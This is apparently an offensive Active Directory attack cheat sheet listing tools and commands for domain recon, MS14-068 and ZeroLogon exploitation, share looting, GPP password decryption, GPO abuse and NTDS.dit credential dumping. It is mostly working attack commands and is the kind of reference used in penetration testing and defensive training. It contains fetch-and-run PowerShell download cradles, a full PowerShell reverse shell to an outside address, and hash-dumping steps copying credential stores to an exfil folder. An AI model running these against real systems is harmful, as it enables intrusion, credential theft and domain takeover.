

# Active Directory Attacks

## Summary

- [Active Directory Attacks](#)
  - [Summary](#)
  - [Tools](#)
  - [Active Directory Recon](#)
    - [Using BloodHound](#)
    - [Using PowerView](#)
    - [Using AD Module](#)
  - [Most common paths to AD compromise](#)
    - [MS14-068 \(Microsoft Kerberos Checksum Validation Vulnerability\)](#)
    - [CVE-2020-1472 ZeroLogon](#)
    - [Open Shares](#)
    - [SCF and URL file attack against writeable share](#)
    - [Passwords in SYSVOL & Group Policy Preferences](#)
    - [Exploit Group Policy Objects GPO](#)
      - [Find vulnerable GPO](#)
      - [Abuse GPO with SharpGPOAbuse](#)
      - [Abuse GPO with PowerGPOAbuse](#)
      - [Abuse GPO with pyGPOAbuse](#)
      - [Abuse GPO with PowerView](#)
    - [Dumping AD Domain Credentials](#)
      - [Using ndtsutil](#)
      - [Using Vshadow](#)
      - [Using vssadmin](#)
      - [Using DiskShadow \(a Windows signed binary\)](#)
      - [Using esentutl.exe](#)
      - [Extract hashes from ntds.dit](#)
      - [Alternatives - modules](#)
      - [Using Mimikatz DCSync](#)
      - [Using Mimikatz sekurlsa](#)
    - [Password spraying](#)
      - [Kerberos pre-auth bruteforcing](#)
      - [Spray a pre-generated passwords list](#)
      - [Spray passwords against the RDP service](#)
    - [Password in AD User comment](#)
    - [Reading LAPS Password](#)
    - [Pass-the-Ticket Golden Tickets](#)
      - [Using Mimikatz](#)
      - [Using Meterpreter](#)
      - [Using a ticket on Linux](#)
    - [Pass-the-Ticket Silver Tickets](#)

- [Kerberoasting](#)
- [KRB\\_AS\\_REP Roasting](#)
- [Pass-the-Hash](#)
- [OverPass-the-Hash \(pass the key\)](#)
  - [Using impacket](#)
  - [Using Rubeus](#)
- [Capturing and cracking NTLMv2 hashes](#)
- [NTLMv2 hashes relaying](#)
  - [MS08-068 NTLM reflection](#)
  - [SMB Signing Disabled and IPv4](#)
  - [SMB Signing Disabled and IPv6](#)
  - [Drop the MIC](#)
  - [Ghost Potato - CVE-2019-1384](#)
- [Dangerous Built-in Groups Usage](#)
- [Abusing Active Directory ACLs/ACEs](#)
  - [GenericAll](#)
  - [GenericWrite](#)
    - [GenericWrite and Remote Connection Manager](#)
  - [WriteDACL](#)
  - [WriteOwner](#)
  - [ReadLAPSPassword](#)
  - [ReadGMSAPassword](#)
  - [ForceChangePassword](#)
- [Trust relationship between domains](#)
- [Child Domain to Forest Compromise - SID Hijacking](#)
- [Forest to Forest Compromise - Trust Ticket](#)
- [Kerberos Unconstrained Delegation](#)
- [Kerberos Constrained Delegation](#)
- [Kerberos Resource Based Constrained Delegation](#)
- [Kerberos Bronze Bit Attack - CVE-2020-17049](#)
- [Relay delegation with mitm6](#)
- [PrivExchange attack](#)
- [PXE Boot image attack](#)
- [DSRM Credentials](#)
- [Impersonating Office 365 Users on Azure AD Connect](#)
- [Linux Active Directory](#)
  - [CCACHE ticket reuse from /tmp](#)
  - [CCACHE ticket reuse from keyring](#)
  - [CCACHE ticket reuse from keytab](#)
  - [Extract accounts from /etc/krb5.keytab](#)
- [References](#)

## Tools

- [Impacket](#) or the [Windows version](#)

- [Responder](#)
- [InveighZero](#)
- [Mimikatz](#)
- [Ranger](#)
- [AdExplorer](#)
- [CrackMapExec](#)

```
# use the latest release, CME is now a binary packaged with all its
dependencies
root@payload$ wget
https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/
cme-ubuntu-latest.zip
```

```
# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H
':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63
LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o
URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M
mimikatz
root@payload$ cme mimikatz --server http --server-port 80
```

- [Mitm6](#)

```
git clone https://github.com/fox-it/mitm6.git && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker's IP)
# -t: Target (You cannot relay credentials to the same device that you're
spoofing)
# -i: open an interactive shell
ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
```

- [ADRecon](#)

```
.\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
```

- [Active Directory Assessment and Privilege Escalation Script](#)

```
powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
```

- [Ping Castle](#)

```
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user
<USERNAME> --password <PASSWORD> --advanced-live --nullsession
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners
are:ac1check,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,local
admin,ullsession,nullsession-trust,share,smb,spooler,startup
```

- [Kerbrute](#)

```
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
```

- [Rubeus](#)

```
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|
AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH>
[/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN]
[/dc:DOMAIN_CONTROLLER] [/ou:"OU=, ..."]
```

- [AutomatedLab](#)

```
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine Hyperv
Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows
Server 2016 SERVERSTANDARD'
Install-Lab
Show-LabDeploymentSummary
```

## Active Directory Recon

### Using BloodHound

Use the correct collector

- AzureHound for Azure Active Directory
- SharpHound for local Active Directory

use [AzureHound](#)

```
# require: Install-Module -name Az -AllowClobber
# require: Install-Module -name AzureADPreview -AllowClobber
Connect-AzureAD
Connect-AzAccount
. .\AzureHound.ps1
Invoke-AzureHound
```

use [BloodHound](#)

```
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/
SharpHound.exe
.\SharpHound.exe (from resources/Ingestor)
.\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb --LdapUser myuser --LdapPass mypass --
domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
```

```
.\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass
<Password> --JSONFolder <PathToFile>

# or run the collector on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/
SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass
<Password> -OutputDirectory <PathToFile>

# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local
-c all
```

Then import the zip/json files into the Neo4J database and query them.

```
root@payload$ apt install bloodhound

# start BloodHound and the database
root@payload$ neo4j console
root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4j,
pass:neo4j
```

You can add some custom queries like [Bloodhound-Custom-Queries](#) from @hausec. Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.

## Using PowerView

- **Get Current Domain:** Get-NetDomain
- **Enum Other Domains:** Get-NetDomain -Domain <DomainName>
- **Get Domain SID:** Get-DomainSID
- **Get Domain Policy:**  
Get-DomainPolicy  
  
#Will show us the policy configurations of the Domain about system access or kerberos  
(Get-DomainPolicy)."system access"  
(Get-DomainPolicy)."kerberos policy"
- **Get Domain Controllers:**  
Get-NetDomainController  
Get-NetDomainController -Domain <DomainName>
- **Enumerate Domain Users:**  
Get-NetUser  
Get-NetUser -SamAccountName <user>  
Get-NetUser | select cn  
Get-UserProperty

```
#Check last password change
Get-UserProperty -Properties pwdlastset
```

```
#Get a spesific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"
```

```
#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>
```

```
#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>
```

```
#Enumerate domain machines of the current/specified domain where specific
users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName,
SessionFromName
```

- **Enum Domain Computers:**

```
Get-NetComputer -FullData
Get-DomainGroup
```

```
#Enumerate Live machines
Get-NetComputer -Ping
```

- **Enum Groups and Group Members:**

```
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
```

```
#Enumerate the members of a specified group of the domain
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty
Member
```

```
#Returns all GPOs in a domain that modify local group memberships through
Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPDisplayName, GroupName
```

- **Enumerate Shares**

```
#Enumerate Domain Shares
Find-DomainShare
```

```
#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
```

- **Enum Group Policies:**

```
Get-NetGPO
```

```
# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup
```

```
#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
```

- **Enum OUs:**

```
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
```

- **Enum ACLs:**

```
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator, CN=Users' -Verbose
```

```
#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
```

```
#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
```

- **Enum Domain Trust:**

```
Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
```

- **Enum Forest Trust:**

```
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>
```

```
#Domains of Forest Enumeration
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>
```

```
#Map the Trust of the Forest
Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
```

- **User Hunting:**

```
#Finds all machines on the current domain where the current user has local
admin access
Find-LocalAdminAccess -Verbose
```

```
#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose
```

```
#Find computers were a Domain Admin OR a spesified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUUsers"
Invoke-UserHunter -Stealth
```

```
#Confirming admin access:
Invoke-UserHunter -CheckAccess
```

**! Priv Esc to Domain Admin with User Hunting:**

I have local admin access on a machine -> A Domain Admin has a session on that machine -  
> I steal his token and impersonate him ->  
Profit!

[PowerView 3.0 Tricks](#)

## Using AD Module

- **Get Current Domain:** Get-ADDomain
- **Enum Other Domains:** Get-ADDomain -Identity <Domain>
- **Get Domain SID:** Get-DomainSID
- **Get Domain Controlers:**

```
Get-ADDomainController
Get-ADDomainController -Identity <DomainName>
```

- **Enumerate Domain Users:**

```
Get-ADUser -Filter * -Identity <user> -Properties *
```

```
#Get a spesific "string" on a user's attribute
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description |
select Name, Description
```

- **Enum Domain Computers:**

```
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
```

- **Enum Domain Trust:**

```
Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
```

- **Enum Forest Trust:**

```
Get-ADForest
Get-ADForest -Identity <ForestName>
```

```
#Domains of Forest Enumeration
(Get-ADForest).Domains
```

- **Enum Local AppLocker Effective Policy:**

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

## Most common paths to AD compromise

### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.

```
# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
```

```
# loc
wmic useraccount get name,sid
Administrator S-1-5-21-3415849876-833628785-5197346142-500
Guest S-1-5-21-3415849876-833628785-5197346142-501
Administrator S-1-5-21-297520375-2634728305-5197346142-500
Guest S-1-5-21-297520375-2634728305-5197346142-501
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
lambda S-1-5-21-297520375-2634728305-5197346142-1110
```

```
# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```

Doc: <https://github.com/gentilkiwi/kekeo/wiki/ms14068>



## Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14\_068\_kerberos\_checksum

Name	Current Setting	Required	
Description			
-----	-----	-----	-----
DOMAIN	LABDOMAIN.LOCAL	yes	The Domain
(upper case) Ex: DEMO.LOCAL			
PASSWORD	P@ssw0rd	yes	The Domain
User password			
RHOSTS	10.10.10.10	yes	The target
address range or CIDR identifier			
RPORT	88	yes	The target
port			
Timeout	10	yes	The TCP
timeout to establish connection and read data			
USER	lambda	yes	The Domain
User			
USER_SID	S-1-5-21-297520375-2634728305-5197346142-1106	yes	The Domain
User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000			

# Alternative download: <https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek>

\$ git clone <https://github.com/SecWiki/windows-kernel-exploits>

\$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d  
<domainControllerAddr> -p <clearPassword>

\$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsd02.lab.adsecurity.org

\$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10

\$ python ms14-068.py -u user01@metasploitable.local -d  
msfd01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066-1105

```
[+] Building AS-REQ for msfd01.metasploitable.local... Done!
[+] Sending AS-REQ to msfd01.metasploitable.local... Done!
[+] Receiving AS-REP from msfd01.metasploitable.local... Done!
[+] Parsing AS-REP from msfd01.metasploitable.local... Done!
[+] Building TGS-REQ for msfd01.metasploitable.local... Done!
[+] Sending TGS-REQ to msfd01.metasploitable.local... Done!
[+] Receiving TGS-REP from msfd01.metasploitable.local... Done!
[+] Parsing TGS-REP from msfd01.metasploitable.local... Done!
[+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
```

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\TGT\_darthsidious@lab.adsecurity.org.ccache"



If the clock is skewed use `clock-skew.nse` script from `nmap`

Linux> \$ nmap -sV -sC 10.10.10.10

clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16"

Windows> net time /domain /set


## Mitigations

- Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

## CVE-2020-1472 ZeroLogon

White Paper from Secura : <https://www.secura.com/pathtoimg.php?id=2055>

Exploit steps from the white paper

1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6.  reset the computer's AD password in a proper way to avoid any Deny of Service

```
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
```

```
# Activate a virtual env to install impacket
```

```
$ python3 -m venv venv
```

```
$ source venv/bin/activate
```

```
$ pip3 install .
```

```
# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
```

```
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
```

```
# Find the old NT hash of the DC
```

```
proxychains secretsdump.py -history -just-dc-user 'DC01$' -
```

```
hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL '
```

```
# Restore password from secretsdump
```

```
# secretsdump will automatically dump the plaintext machine password (hex encoded)
```

```
# when dumping the local registry secrets on the newest version
```

```
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass
```

```
e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
```

```
deactivate
```

in .NET for Cobalt Strike's execute-assembly

```
git clone https://github.com/nccgroup/nccfsas
```

```
# Check
```

```
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
```

```
# Resetting the machine account password
```

```
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
```

```
# Testing from a non Domain-joined machine
```

```
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
```

```
# Now reset the password back
```

with Mimikatz : 2.2.0 20200917 Post-Zerologon

```

privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt
/authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator
/authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm

# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

# Use IP address instead of FQDN to force NTLM with Windows APIs
# Reset password to Waza1234/Waza1234/Waza1234/
#
https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl\_m\_lsadump.c#L2584
lsadump::postzerologon /target:10.10.10.10 /account:DC01$

```

## Open Shares

```

smbmap -H 10.10.10.10 # null session
smbmap -H 10.10.10.10 -R # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18

```

or

```

pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A"
//192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A"
//192.168.10.100/C$
ls # list files
cd # move inside a folder
get # download files
put # replace a file

```

or

```

smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
      Sharename      Type      Comment
      -----
      ADMIN$          Disk      Remote Admin
      C$               Disk      Default share
      IPC$             IPC       Remote IPC
      NETLOGON         Disk      Logon server share
      Replication      Disk
      SYSVOL           Disk      Logon server share
      Users            Disk
use Sharename # select a Sharename
cd Folder    # move inside a folder
ls           # list files

```

Download a folder recursively

```

smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share
smb: \> mask ""

```

```
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
```

Mount a share

```
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder
```

## SCF and URL file attack against writeable share

Drop the following @something.scf file inside a share and start listening with Responder :

```
responder -wrf --lm -v -I eth0
```

```
[Shell]
Command=2
IconFile=\\10.10.XX.XX\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

This attack also works with .url files and responder -I eth0 -v.

```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.1.29%\%USERNAME%.icon
IconIndex=1
```

## Passwords in SYSVOL & Group Policy Preferences



GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](#)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](#)

```
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv
0000000000000000
```

```
e.g:
echo '50PdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d
-aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
-iv 0000000000000000
```

```
echo
'edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMex0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw
/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv
0000000000000000
```

## Automate the SYSVOL and passwords research

- Metasploit modules to enumerate shares and credentials

```
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
```

- Crackmapexec modules

```
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
```

List all GPO for a domain

```
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all
```

```
Powersploit:
Get-NetGPO
Get-NetGPOGroup
```


## Mitigations

- Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
- Delete existing GPP xml files in SYSVOL containing passwords.
- Don't put passwords in files that are accessible by all authenticated users.

## Exploit Group Policy Objects GPO

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders **User** and **Machine**. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

 Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: `gpupdate /force`.

## Find vulnerable GPO

Look a GPLink where you have the **Write** right.

```
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object
{($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|
WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
```

## Abuse GPO with SharpGPOAbuse

```
# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
```

```
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\
CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights
"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith
--GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName
"Vulnerable GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --
ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://10.1.1.10:80/a'))\" --GPOName "Vulnerable
GPO"

# Configuring a Computer or User Immediate Task
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin
--Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX
((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\" --
GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author
'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments "/c powershell.exe -nop -w
hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
```

## Abuse GPO with PowerGPOAbuse

- <https://github.com/rootSySdk/PowerGPOAbuse>

```
PS> . .\PowerGPOAbuse.ps1
```

```
# Adding a localadmin
```

```
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
```

```
# Assign a new right
```

```
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity
'Bobby' -GPOIdentity 'SuperSecureGPO'
```

```
# Adding a New Computer/User script
```

```
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $
(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
```

```
# Create an immediate task
```

```
PS> Add-UserTask/Add-ComputerTask -TaskName 'eviltask' -Command
'powershell.exe /c' -CommandArguments '$(Get-Content evil.ps1)' -Author
Administrator
```

## Abuse GPO with pyGPOAbuse

```
$ git clone https://github.com/Hackndo/pyGPOAbuse
```

```
# Add john user to local administrators group (Password: H4x00r123..)
```

```
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-
123456789012"
```

```
# Reverse shell example
```

```
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-
123456789012" \
```

```
-powershell \
```

```
-command "$client = New-Object
```

```
System.Net.Sockets.TCPClient('10.20.0.2',1234);$stream = $client.GetStream();
```

```
[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \
$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName
System.Text.AsciiEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data
2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\
$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\
$sendbyte,0,\$sendbyte.Length);\$stream.Flush();\$client.Close()\" \
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \
    -user
```

## Abuse GPO with PowerView

```
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -
CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAA...' -Force
```

## Dumping AD Domain Credentials

You will need the following files to extract the ntds :

- NTDS.dit file
- SYSTEM hive (C:\Windows\System32\SYSTEM)

Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.

- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA
Database file"
```

## Using ntdsutil

```
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

or

```
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```

## Using Vshadow

```
vssadmin create shadow /for=C :  
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : <https://github.com/samratashok/nishang>

```
Import-Module .\Copy-VSS.ps1  
Copy-VSS  
Copy-VSS -DestinationDir C:\ShadowCopy\
```

## Using vssadmin

```
vssadmin create shadow /for=C:  
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy  
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```

## Using DiskShadow (a Windows signed binary)

```
diskshadow.txt contains :  
set context persistent nowriters  
add volume c: alias someAlias  
create  
expose %someAlias% z:  
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit  
delete shadows volume %someAlias%  
reset
```

```
then:  
NOTE - must be executed from C:\Windows\System32  
diskshadow.exe /s c:\diskshadow.txt  
dir c:\exfil  
reg.exe save hklm\system c:\exfil\system.bak
```

## Using esentutl.exe

Copy/extract a locked file such as the AD Database

```
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
```

## Extract hashes from ntds.dit

then you need to use secretdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit

```
